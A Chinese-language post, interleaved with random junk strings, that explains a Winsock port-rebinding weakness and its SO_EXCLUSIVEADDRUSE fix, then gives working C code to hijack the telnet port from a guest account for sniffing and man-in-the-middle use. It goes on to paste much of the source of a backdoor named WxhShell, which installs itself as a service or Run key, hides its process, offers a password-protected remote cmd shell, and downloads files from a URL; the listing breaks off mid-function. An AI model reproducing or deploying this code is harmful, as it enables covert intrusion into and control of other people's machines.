在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
1p[Z`m*9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ctzaqsr 4[eQ5$CB<u saddr.sin_family = AF_INET;
RXj6L~vs5_ {#c**' 4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
W"@FRWcd BIr24N bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
XazKS4( 27NhYDo 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
jr9/ 4p%=8G| 这意味着什么?意味着可以进行如下的攻击:
D3>;X= 1 /W6r{Et 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
N{(Q,+ ~ 8?S)>-mwv 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
y@L-qO+{& l-N4RCt h 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
c<8RRYs ( _{\tgSm 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
g`skmHS89 zgdOugmmt_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
'<v/Gl\ v=~=Q*\l 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
INyakAmJ}- \(C_t1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
:!wdqn F_Q?0 Do0' #include
S&C #include
!U@?Va~Zn #include
zLs[vg.( #include
M=}vDw]Q DWORD WINAPI ClientThread(LPVOID lpParam);
I#]$H#}Av int main()
)7e[o8O_6 {
`z=I}6){ WORD wVersionRequested;
j]#-DIL DWORD ret;
(]Z$mv! WSADATA wsaData;
amL8yb BOOL val;
_%)v9}D SOCKADDR_IN saddr;
~ "]6 SOCKADDR_IN scaddr;
T4\F=iw4 int err;
7DU"QeLeb SOCKET s;
9M)N2+hkZ SOCKET sc;
+M+ht int caddsize;
GHMoT HANDLE mt;
FuZ7xM, DWORD tid;
7kBULeBn| wVersionRequested = MAKEWORD( 2, 2 );
|/?)u$U< err = WSAStartup( wVersionRequested, &wsaData );
X^PR];V:$ if ( err != 0 ) {
k-LB %\p printf("error!WSAStartup failed!\n");
4JTFdbx return -1;
):.
+u= }
u/5I;7cb saddr.sin_family = AF_INET;
#-9;Hn4x 2EubMG //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
e,_b |M?yCo saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
W9{>.E? saddr.sin_port = htons(23);
YQ`GOP#/ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
FDB^JH9d {
3N?WpA768/ printf("error!socket failed!\n");
Z6}B}5@y return -1;
tQy@d_a=y }
x}G["ZU}v] val = TRUE;
'[]V%^F //SO_REUSEADDR选项就是可以实现端口重绑定的
7Q<xC if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
a.a5qwG {
yfS`g-j{~ printf("error!setsockopt failed!\n");
GM6Y`iU return -1;
Vwp fkD` }
u-zl- ?Ne //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
s4 o-*1R*` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
cvpcadN[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
9-DDly [)4 ~y+QL{P4~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
+_gPZFpbx {
FO{K=9O ret=GetLastError();
!2WRxM printf("error!bind failed!\n");
YCwfrz return -1;
8CxC`*L( }
NZ`( d listen(s,2);
BzL>,um while(1)
"E;]?s9x {
e,qc7BJzK caddsize = sizeof(scaddr);
{Slc6$ //接受连接请求
H4 }^6><V sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/>(e.)f if(sc!=INVALID_SOCKET)
=<I 90j~) {
Pew-6u" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
F4i
c^F{K if(mt==NULL)
F8km8lPQl {
95;q] =U printf("Thread Creat Failed!\n");
mh>)N" break;
-Cwx % }
mT;1KE{J{ }
:tY;K2wDM CloseHandle(mt);
xtyzy@)QL }
K
oPTY^ closesocket(s);
GMLq3_' WSACleanup();
g4<w6eB return 0;
aDuO!?Cm }
U]lXw+& DWORD WINAPI ClientThread(LPVOID lpParam)
_"%ef"oPh {
[^B04x@ SOCKET ss = (SOCKET)lpParam;
*upl*zFf0 SOCKET sc;
yzt6 unsigned char buf[4096];
[)|P-x-< SOCKADDR_IN saddr;
2~+_T long num;
;w@PnY DWORD val;
4flyV - DWORD ret;
r#
5))q- //如果是隐藏端口应用的话,可以在此处加一些判断
8 ~.|^no //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.WA(X5 saddr.sin_family = AF_INET;
ig^9lM' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zlIXia5 saddr.sin_port = htons(23);
,x}p1EZ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pb_+_(/c {
stz1e
dP printf("error!socket failed!\n");
CXGq>cQ=d return -1;
Me[T=Tt`@w }
4lH$BIAW val = 100;
WK]SHiHD if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<#JJS}TLk {
\"c;MK{ ret = GetLastError();
Lz2 AWqR return -1;
orCD?vlh }
@yPa9Ug(V if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_, /m {
vr2tIKvpn ret = GetLastError();
Ce}wgKzr return -1;
g
PogV(V }
,T?8??bZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
7. 9n {
9'C kV [ printf("error!socket connect failed!\n");
di}YHMTx closesocket(sc);
:<4:h.gO8 closesocket(ss);
QN:gSS{30 return -1;
Ha9A5Ao}0 }
C,+6g/{ while(1)
7!.%HhU0 {
T (] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
"*|plB //如果是嗅探内容的话,可以再此处进行内容分析和记录
Q[`J= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
7F.t>$' num = recv(ss,buf,4096,0);
'm9f:iTr if(num>0)
7
N+;K0 send(sc,buf,num,0);
n}PK0 else if(num==0)
|ZW%+AQ| break;
lg1yj}br num = recv(sc,buf,4096,0);
O=
PFr" if(num>0)
c)gG send(ss,buf,num,0);
H[?~u+ else if(num==0)
Ps5UX6\ .m break;
zd AqGQfc }
|^Nz/PN closesocket(ss);
V`?2g_4N closesocket(sc);
4Waot return 0 ;
xcr=AhqM }
(-Rh%ZHH oB;EP /-JBzU$ ==========================================================
Z<6xQTx 5"Q3,4f 下边附上一个代码,,WXhSHELL
Hi #'h =A&x
d" ==========================================================
[vb>5EhL! J;4x-R$W #include "stdafx.h"
4&;.>{:; 4mSL*1j #include <stdio.h>
b{qeu$G R #include <string.h>
|4//%Ll/ #include <windows.h>
R[ p. )F7 #include <winsock2.h>
q/-8sO}q #include <winsvc.h>
E;\XZ<E #include <urlmon.h>
dk~ h 5&q@;vR #pragma comment (lib, "Ws2_32.lib")
,
"w`,c>! #pragma comment (lib, "urlmon.lib")
HVaWv ]. hWpn~q #define MAX_USER 100 // 最大客户端连接数
bUbM } #define BUF_SOCK 200 // sock buffer
%\#s@8=2u #define KEY_BUFF 255 // 输入 buffer
&RP!9{F< +RS>#zd/= #define REBOOT 0 // 重启
+cv7] #define SHUTDOWN 1 // 关机
e:}8|e~T u38FY@U$ #define DEF_PORT 5000 // 监听端口
-C.x;@!k d&'z0]mOe #define REG_LEN 16 // 注册表键长度
iOz<n
z #define SVC_LEN 80 // NT服务名长度
"GoNTM5h g/,fjM_ // 从dll定义API
Kd^{~Wlz&z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
H6?ZE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
wJ-G7V,) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
/=Bz[O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
:gv`) ;;'b;,/ // wxhshell配置信息
jq(3y|6, struct WSCFG {
{Pm^G^EP int ws_port; // 监听端口
bsVms,& char ws_passstr[REG_LEN]; // 口令
I7b(fc-r int ws_autoins; // 安装标记, 1=yes 0=no
,GEMc a,` char ws_regname[REG_LEN]; // 注册表键名
*9)7.}uY char ws_svcname[REG_LEN]; // 服务名
dgPJte%i char ws_svcdisp[SVC_LEN]; // 服务显示名
6W$ #`N> char ws_svcdesc[SVC_LEN]; // 服务描述信息
|sz`w^# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
])h={gI int ws_downexe; // 下载执行标记, 1=yes 0=no
jQ.]m char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Frn#?n)S9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
QxvxeK!Y pgz3d{]ua };
}/BwFB+(/ YfUdpa0 // default Wxhshell configuration
B'6^E#9 struct WSCFG wscfg={DEF_PORT,
Rt~Aud[ "xuhuanlingzhe",
-H~g+i*J 1,
~J!a?] "Wxhshell",
k9UmTvX "Wxhshell",
ERQa,h/ "WxhShell Service",
P$_Y:XI ! "Wrsky Windows CmdShell Service",
VA.jt}YGE "Please Input Your Password: ",
x^_Wfkch] 1,
{OP-9P=p "
http://www.wrsky.com/wxhshell.exe",
ie^:PcU "Wxhshell.exe"
ncJ}h\:Sk };
65AXUTg USu/Y29 // 消息定义模块
#C|:]moe char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_m;cX!+~_ char *msg_ws_prompt="\n\r? for help\n\r#>";
gVCkj!{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Gdnk1_D> char *msg_ws_ext="\n\rExit.";
$1oU^VY char *msg_ws_end="\n\rQuit.";
a{Y:hrd:Z char *msg_ws_boot="\n\rReboot...";
!Jb?rSJ.h char *msg_ws_poff="\n\rShutdown...";
mJewUc!<5 char *msg_ws_down="\n\rSave to ";
tp$NT.z 7>xxur& char *msg_ws_err="\n\rErr!";
"-XL Y_ char *msg_ws_ok="\n\rOK!";
* b>W ]g3&gw char ExeFile[MAX_PATH];
+xRja(d6 int nUser = 0;
: QSlctW HANDLE handles[MAX_USER];
l3n* b6 int OsIsNt;
z_!P0` s2g}IZfo SERVICE_STATUS serviceStatus;
FB@c
+*1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
l#%Y]1* ?yddr`?W // 函数声明
~CldqXeI int Install(void);
h+zJ"\ int Uninstall(void);
bj(U?$ int DownloadFile(char *sURL, SOCKET wsh);
L':;Vv~- int Boot(int flag);
/fA:Fnv void HideProc(void);
9cFFQM|o int GetOsVer(void);
X55Eemg/ int Wxhshell(SOCKET wsl);
NWwfNb> void TalkWithClient(void *cs);
Zp@p9][C int CmdShell(SOCKET sock);
1W8[
RET int StartFromService(void);
!40{1U&@a` int StartWxhshell(LPSTR lpCmdLine);
3nd02:GF xBG&ZM4"^f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Ts:dnGR5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
Nol',^) g63:WX-\ // 数据结构和表定义
W>dS@;E SERVICE_TABLE_ENTRY DispatchTable[] =
{~16j" {
F0bmGDp@- {wscfg.ws_svcname, NTServiceMain},
P\iw[m7O {NULL, NULL}
x*i5g`jx };
Mb3,! &xr?yd // 自我安装
>2Al+m<w int Install(void)
6;dB {
T'\lntN char svExeFile[MAX_PATH];
"FcA:7 + HKEY key;
$b\Gl=YX^ strcpy(svExeFile,ExeFile);
h_?D%b~5 q{@>2AlK // 如果是win9x系统,修改注册表设为自启动
Gi]Pwo${ if(!OsIsNt) {
V. 'EP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PPDm*,T. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
g[-'0d\1 RegCloseKey(key);
T$GhE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@]WN|K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NJs )2 RegCloseKey(key);
j?/T7a^ return 0;
nEQw6q~je }
+?*,J=/ }
2<fG= I8 }
/V46:`V else {
B Gh%3"q #`);UAf // 如果是NT以上系统,安装为系统服务
+_06{7@h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#]:yCiA if (schSCManager!=0)
CO0Nq/@ {
e}(ws~. SC_HANDLE schService = CreateService
Pf]6'?kQ (
`WC~cb\ schSCManager,
7tUl$H;I/R wscfg.ws_svcname,
ZR6KE_ wscfg.ws_svcdisp,
P`Anf_ SERVICE_ALL_ACCESS,
tE9%;8;H SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
N02N
w(pi SERVICE_AUTO_START,
]|Vm*zO SERVICE_ERROR_NORMAL,
p/cVQ svExeFile,
JdfjOlEb NULL,
M!,$i NULL,
-1:yqF.x NULL,
$a(wM1S4 NULL,
'S)}mG_ NULL
:a0qm.EN );
wP+wA}SN if (schService!=0)
zRD{"uqi {
+[V?3Gdb CloseServiceHandle(schService);
(4>k+ H CloseServiceHandle(schSCManager);
\H*"UgS strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
PE]jYyyHtU strcat(svExeFile,wscfg.ws_svcname);
55zimv&DV if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
iU~oPp[e RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Hp8)-eT RegCloseKey(key);
DKF`uRvGN: return 0;
kZ[E493bV }
7$\;G82_ }
R% l=NHB} CloseServiceHandle(schSCManager);
0V}%'Ec<e }
rKg5?. }
m.&z:`x[ L
V?- g return 1;
<FRYt-+ }
`CUTb*{` t1 OnA#]/_ // 自我卸载
54-sb~] int Uninstall(void)
MkRRBvk {
2Vr F~+ HKEY key;
}<[@)g.h. Eii)zo8Xd if(!OsIsNt) {
bsmZR(EnU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xeIt7b?# RegDeleteValue(key,wscfg.ws_regname);
MIsjTKE RegCloseKey(key);
cD YKvrPY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gH,^XZe RegDeleteValue(key,wscfg.ws_regname);
H]H*Ouu["e RegCloseKey(key);
:Z- =1b~ return 0;
[W,Ej }
[GyW1-p33w }
%u,H2* }
h
rW else {
ey _3ah3x K63OjR>H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
2TXrVaM if (schSCManager!=0)
`1=n H/E {
Kyq/'9` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
|e!%6Qq3 if (schService!=0)
CCNrjaA {
az*c0Z<pl if(DeleteService(schService)!=0) {
_K<H*R CloseServiceHandle(schService);
V8@VR`!' CloseServiceHandle(schSCManager);
)[C]1N=tK return 0;
=2F;'T\6 }
G|H+
,B CloseServiceHandle(schService);
?NOc]'<(G }
vO`~rUA CloseServiceHandle(schSCManager);
i%_W{;e }
r7+"i9 }
f~%|Iu1ob 84j6.\, return 1;
`|)V]< }
[3lAKI 97l<9^$ // 从指定url下载文件
-+?ZJ^A int DownloadFile(char *sURL, SOCKET wsh)
>o9tlO) {
X
[IVK~D}z HRESULT hr;
|(u6xPs;P char seps[]= "/";
O_OgTa char *token;
a> qB
k}) char *file;
6|:K1bI) char myURL[MAX_PATH];
/*Iq,"kGz char myFILE[MAX_PATH];
0`UI^Y~Q 6l]jmj)/ strcpy(myURL,sURL);
h*d1G9%Q1 token=strtok(myURL,seps);
G%ytp=N while(token!=NULL)
cZC%W!pT {
Y\75cfD file=token;
'tvX.aX2 token=strtok(NULL,seps);
o]/*YaB2> }
.3>`y L !-rG1VI_S* GetCurrentDirectory(MAX_PATH,myFILE);
qQjd@J}^ strcat(myFILE, "\\");
eFKF9m strcat(myFILE, file);
PtsQV! send(wsh,myFILE,strlen(myFILE),0);
^G(U@-0.. send(wsh,"...",3,0);
=sZ58xA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
8k +^jj if(hr==S_OK)
Qe4O N3X! return 0;
gZq_BY_U else
g$f+X~Q return 1;
@n,V2`" sU Er?TZ }
W_.WMbT Gb!R>WY // 系统电源模块
sg` int Boot(int flag)
QNbV=*F? {
)OHGg HANDLE hToken;
w1Txz4JqB TOKEN_PRIVILEGES tkp;
6 &Lr/J76 Upw`|$1S if(OsIsNt) {
tNoPpIu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
H^ 'As;R LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|xawguJ tkp.PrivilegeCount = 1;
CKI.\o tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
x" lcE@( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
[s4|+ if(flag==REBOOT) {
IJ]rVty if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
"?%2`*\ return 0;
hsB3zqotF }
:%_\!FvS else {
+Jm~Um! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
t"JE+G return 0;
R1$s1@3I| }
J6J"> }
kx?f, ^- else {
k?Kt*T if(flag==REBOOT) {
)x+P9| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
:6MV@{;PJ return 0;
6l'J!4*qY }
3{)!T;W d
else {
8Kw,
1O: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Jxf>!\:AZu return 0;
&@K6;T }
qv^P }
oN2#Jh%dH [QFAkEJ--o return 1;
EXMW, }
qjObu\r vHZq
z< // win9x进程隐藏模块
E.%V0} void HideProc(void)
R_D&"& {
5@DCo 2vTO>*t HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
D]o=I1O? if ( hKernel != NULL )
<6Y|vEo!N {
3!
#|hI>f pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
up{0ehr ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
wPEK5=\4Ob FreeLibrary(hKernel);
ClY`2 }
n}b{u@$ hraR:l
D return;
^&D5J\][ }
idB1%?< N5{v;~Cm}V // 获取操作系统版本
A_l\ij$Y int GetOsVer(void)
Siq]Ii0F;> {
Nyt*mbd5
{ OSVERSIONINFO winfo;
Qo:vAv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
v4Wq0>o GetVersionEx(&winfo);
&\I<j\F2/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
#K0/ >W return 1;
[(2^oTSRaq else
@ R[K8 return 0;
Z^]jy>dj }
LofpBO6^ v-N4&9)%9 // 客户端句柄模块
-<g[P_# int Wxhshell(SOCKET wsl)
+.&P$`;TZj {
?
V1ik[ SOCKET wsh;
yUWc8]9\W struct sockaddr_in client;
CuK>1_Dq DWORD myID;
u(FOSmNkN :1Nc6G while(nUser<MAX_USER)
c&1_lI,tH {
k;jl3GV int nSize=sizeof(client);
2Y%7.YX" wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[ )
0JI6 if(wsh==INVALID_SOCKET) return 1;
*+zFsu4l @Co6$< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
%19~9Tw if(handles[nUser]==0)
epKr6
xq closesocket(wsh);
tH&eKM4G else
4lR+nmAZ nUser++;
b1>]?. }
h<)ceD<, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
>?OUs>}3y2 .?rs5[th* return 0;
6eUGE 4NF( }
Kp*3:XK (&NLLrsio // 关闭 socket
0C.5Qx void CloseIt(SOCKET wsh)
:-#7j}
R& {
;zze.kb&F
closesocket(wsh);
nTc#I~\ nUser--;
n-SO201[* ExitThread(0);
`q\F C[W }
ob8}v*s 4[#)p}V // 客户端请求句柄
ftcLP void TalkWithClient(void *cs)
9mp`LT {
p#Po? n:B){'S SOCKET wsh=(SOCKET)cs;
S"@6, char pwd[SVC_LEN];
V~#5^PF{ char cmd[KEY_BUFF];
=BN<)f^*s char chr[1];
U\ ,N int i,j;
n^$Q^[:Z GFE3p while (nUser < MAX_USER) {
4YI6& Ek_&E7 if(wscfg.ws_passstr) {
KPDJ$,: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6T+y m9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Nt]nwae>A //ZeroMemory(pwd,KEY_BUFF);
#g@4c3um| i=0;
L4T\mP7D7* while(i<SVC_LEN) {
?./fVoA]V O"|d~VQ // 设置超时
fj['M6+wd fd_set FdRead;
^tSwA anP\ struct timeval TimeOut;
}6pr.-J FD_ZERO(&FdRead);
rN7JJHV FD_SET(wsh,&FdRead);
AxH`4=3< TimeOut.tv_sec=8;
9=6BQ`u TimeOut.tv_usec=0;
v!DK.PZbi int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Pzd!"Gl9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
|:4W5>sfg ~`Vo0Z*S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^8bc<c:P pwd
=chr[0]; 4`9ROC
if(chr[0]==0xd || chr[0]==0xa) { wj0_X;L
pwd=0; Het>G{
break; oxeIh9
E
} S&y${f
i++; ^~TE$i<
} ^V9|uHOJoq
v5e*R8/
// 如果是非法用户,关闭 socket w(Tr,BFF
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A /c
} a(|0'^
FIAmAZH}_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8 l= EL7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A7XA?>~+|
w'_|X&@H
while(1) { ?IS[2 v$
}#M>CNi'PU
ZeroMemory(cmd,KEY_BUFF); p/u
C2zKt/)A
// 自动支持客户端 telnet标准 P_mP ^L
j=0; xzfugW
while(j<KEY_BUFF) { 9An\uH)mL
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sK9RViqF\
cmd[j]=chr[0]; H/ Ql
if(chr[0]==0xa || chr[0]==0xd) { P*}aeu&lnD
cmd[j]=0; kef%5B
break; 7I]?:%8h
} pmurG
j++; tQxxm=>
} W?!rqo2SP
</5
// 下载文件 yA*U^:%
if(strstr(cmd,"http://")) { @x
A^F%(
send(wsh,msg_ws_down,strlen(msg_ws_down),0); MT)q?NcG
if(DownloadFile(cmd,wsh)) cBOK@\x:Wi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PA*k|
else vr?u=_%Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j"pyK@v2B
} eTw9c }[
else { lx2%=5+i;
u#y)+A2&!
switch(cmd[0]) { `(P71T
31#jLWY'0
// 帮助 8cMX=P
case '?': { ySDo(EI4
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L\bcR
break; *>Bew
} ]BRwJ2< x
// 安装 m MWhUr
case 'i': { 2>9..c
if(Install()) @8aV*zjB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3fZoF`<a
else '"LaaTTs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }vgM$o
break; q&NXF(
} KjF8T7%
// 卸载 oOubqx
case 'r': { (G$Q\>
if(Uninstall()) *u,xBC2C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -'WR9M?fq
else 9PG{>W$M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \LQZoD?W
break; >f-RzQ k
} =JPY{'V O
// 显示 wxhshell 所在路径 t.O~RE
case 'p': { 2,Z@<
char svExeFile[MAX_PATH]; @7Ln1v
strcpy(svExeFile,"\n\r"); z-"P raP
strcat(svExeFile,ExeFile); IkA~+6UY
send(wsh,svExeFile,strlen(svExeFile),0); 9U3 }_
break; ;<+Z}d/g9
} o"P )(;
// 重启 yOXEP
case 'b': { L>hLYIW
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FLkZZ\
if(Boot(REBOOT)) {3K]Q=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fT?m~W^
else { $ER$|9)KD
closesocket(wsh); BV/ ^S.~
ExitThread(0); H
]](xYy.
} meThjCC
break; <1x u&Z7
} #KHj.Vg
// 关机 >>y\idg&:
case 'd': { 8)Vl2z
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =0;njL(7;
if(Boot(SHUTDOWN)) JL u$UR4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~rXLb:
else { od,,2pwK+
closesocket(wsh); KRP6b:+4L
ExitThread(0); [{vX*q
3B
} )`gxaT>&l
break; AxO.adQE%
} :zO;E+s
// 获取shell fmLDufx
case 's': { heb{i5el
CmdShell(wsh); 3(*vZ
closesocket(wsh); 8 QI+O`
ExitThread(0); *`Ge8?qC
break; fNyXDCl
} 3fYfj
// 退出 5;XU6Rz!
case 'x': { I.SMn,N
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6vU%Y_n=y]
CloseIt(wsh); !#
xi^I
break; *rV{(%\m
} )WvOa] :
// 离开 P/k#([:2
case 'q': { (Bpn9}F-V.
send(wsh,msg_ws_end,strlen(msg_ws_end),0); b`;&o^7gMO
closesocket(wsh); U:PtRSdn!b
WSACleanup(); )hVn/*mH
exit(1); +*eVi3
break; aHitPPlq
} [8acan+
2l
} R"z}q(O:
} AJ#YjkO>]
$o)}@TC
// 提示信息 kD((1v*D$
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tg=P*HY6
} *d 4A3|
} 85A7YraL
VY=YI}E
return; ClPE_Cfw~
} .`&k`
yRp&pUtb
// shell模块句柄 q[. p(6:
int CmdShell(SOCKET sock) <:StZ{o;
{ "837b/>/
STARTUPINFO si; (7??5gjh
ZeroMemory(&si,sizeof(si)); I &%
Z*H
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w,<n5dMv
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ow'CwOj$
PROCESS_INFORMATION ProcessInfo; :{KpnJvd
char cmdline[]="cmd"; &IG*;$c!
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nHLMF7\
return 0; A":cS }Ui
} 0R-W9qP
`j 4>
// 自身启动模式 *c(YlfeZ#
int StartFromService(void) jZe/h#J)[
{ CX]L'
typedef struct >YcaFnY
{ xo!2GPD.
DWORD ExitStatus; .k,,PuP
DWORD PebBaseAddress; 60xL.Z
DWORD AffinityMask; 8/"C0I (G
DWORD BasePriority; i
G%R'/*
ULONG UniqueProcessId; UhU"[^YO
ULONG InheritedFromUniqueProcessId; Fj`K$K?
